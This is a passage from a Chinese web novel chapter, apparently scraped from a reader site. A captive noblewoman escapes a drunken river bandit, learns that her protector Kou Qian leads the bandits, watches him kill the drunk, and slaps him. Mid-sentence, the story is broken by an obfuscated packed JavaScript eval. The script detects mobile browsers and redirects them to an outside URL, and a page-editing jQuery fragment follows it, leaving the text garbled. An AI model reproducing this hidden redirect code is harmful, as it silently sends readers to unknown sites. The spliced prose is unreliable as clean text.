酒鬼脚步微停，猩红的眼睛望着她，突然发笑，“崔氏？没听过！你就是皇帝的女人，老子都照睡不误！” 他狞笑着，大步跨近，“极刑又怎么了？不过就是死，老子跟着寇骞在水上烧杀抢掠这么多年，再添上你这一桩罪名，又能怎么样？” 世上、世上怎么会有这么凶恶的亡命徒？比她读过的话本子里的，还要可怕千倍、万倍！ 酒鬼再度扑来，她心一横，咬紧牙关，闭眼撞了上去，许是位置正好，撞的是他被烧烂的皮肉，扑面而来的血腥味令人作呕，她却没工夫去管，只趁着他摔倒之际竭力逃跑。 洲内无处可藏身，那她就去江上，许有一只小舟停泊在渡口，可载她离开呢？ 大不了、大不了就是溺死在江水里，再怎么也比被这又脏又臭的恶鬼欺辱好！ 借着一轮明月相照，她于月光中越冲越快，宛若一支离弦的箭，耳畔仿佛已能听见汹涌的浪潮声了，可比起江，先出现在她眼前的是一群人。 她一眼便瞧清了为首人的模样，那颗慌乱的心几乎是立即就安定下来，“寇——” 忽的寒光一闪，她喉中的声音被愕然止住，她看见了利刃，不止一把。她后知后觉地想起来，刚刚那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13810893|146112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒鬼说的话——“老子跟着寇骞在水上烧杀抢掠这么多年”，所以，寇骞不是渔民，是烧杀抢掠的水匪，甚至于，是其中最为穷凶极恶的头目。 她不禁往后退了半步。 匪。 寇骞与那酒鬼，实是一丘之貉、蛇鼠一窝。 后头追逐的脚步愈发近了，近到同她一般能看清寇骞时，那般张狂的酒鬼却顿时慌了神，仅是几个呼吸间，便选择跪伏下身子，也顾不得溃烂的皮肉处处钻心的疼，一个劲儿磕头。 “老大、老大我知道错了，我下次再也不敢了！” “你饶了我吧，我们、我们可是一起长大的啊！” 崔竹喧攥着衣摆，小心地去看寇骞的神色，他同平日里总是带着笑的模样判若两人，眼角眉梢都是冷厉的，他自她身前走过，并未看她，止步在酒鬼面前，声音无甚波澜，“说说，你干什么了？” 仅是电光石火间，酒鬼便捏造出了一套事实，一把鼻涕一把泪地伏在他脚边哭诉：“是、是这个贱人！她趁你不在，想要偷走你库房的金银，谁料被我撞破，她怕我想你告状，便、便蓄意勾引我，我一时色迷心窍，这才、这才上了她的当！” “这个女人蛇蝎心肠，她表面说要委身于我，实际却想着杀人灭口，”酒鬼仓惶地展露出自己身上的血肉模糊，甚至于因这些瘆人的伤口，而再度拥有了底气，“她用火把我烧成这样，老大，你要为我报仇啊！我们这么多年的情分，你可不能听信这个贱人的一面之词啊！” “还有吗？”寇骞忽然问。 酒鬼愣了一下，在脑中搜刮一番，确认并无什么遗漏，讷讷地摇头，“没、没了。” “没了就好。” 酒鬼望着他，害怕恐慌渐渐消弭去，嘴角重新咧起，气焰再起，甚至转头看向崔竹喧，露出一抹挑衅的神色。 可惜好景不长，下一刻，便有利刃直直捅进胸腔，刀柄一转，一抽，殷红的血伴着脏腑的碎片一块儿飞溅出来，碧色的草叶刹那间扮了红妆，靡艳得骇人。 “我、我们这么多年的交情，你怎么能……” 寇骞拧着眉踢开那只攀上他鞋子的手，顺势碾了上去，在酒鬼濒死的呻吟声中缓缓开口：“不然你以为，老子为什么给你时间说遗言？” “在这白原洲，随便折根树枝，揪片草叶，都是跟老子一块儿长大的，你又算什么东西？再说，这土里头，埋的哪个不是跟老子有交情？” 他随手一挥，将刀刃上的猩红甩去，把砍刀重新挂回腰间，转而向崔竹喧走去。 她下意识地往后退，可身后是树，退无可退，所幸那满身鲜血的人只是站在那，用目光一寸寸在她身上扫去，从头发，到眉，到眼，到唇，到纤长的脖颈，到每一处他能看见的、裸露在外的肌肤。 她能听见自己的心跳声若擂鼓，她控制不住地想要去抓些什么东西，衣摆也好，树皮也罢，至少帮着遮掩去她止不住的轻颤。 正于此时，他微微俯身，伸出一只手朝她靠近——那只刚刚杀过人的手。 抗拒的情绪在她脑海里啸叫，本能比理智更先，她抬手冲他甩去。 ——她当着一众水匪的面，打了水匪头目一耳光。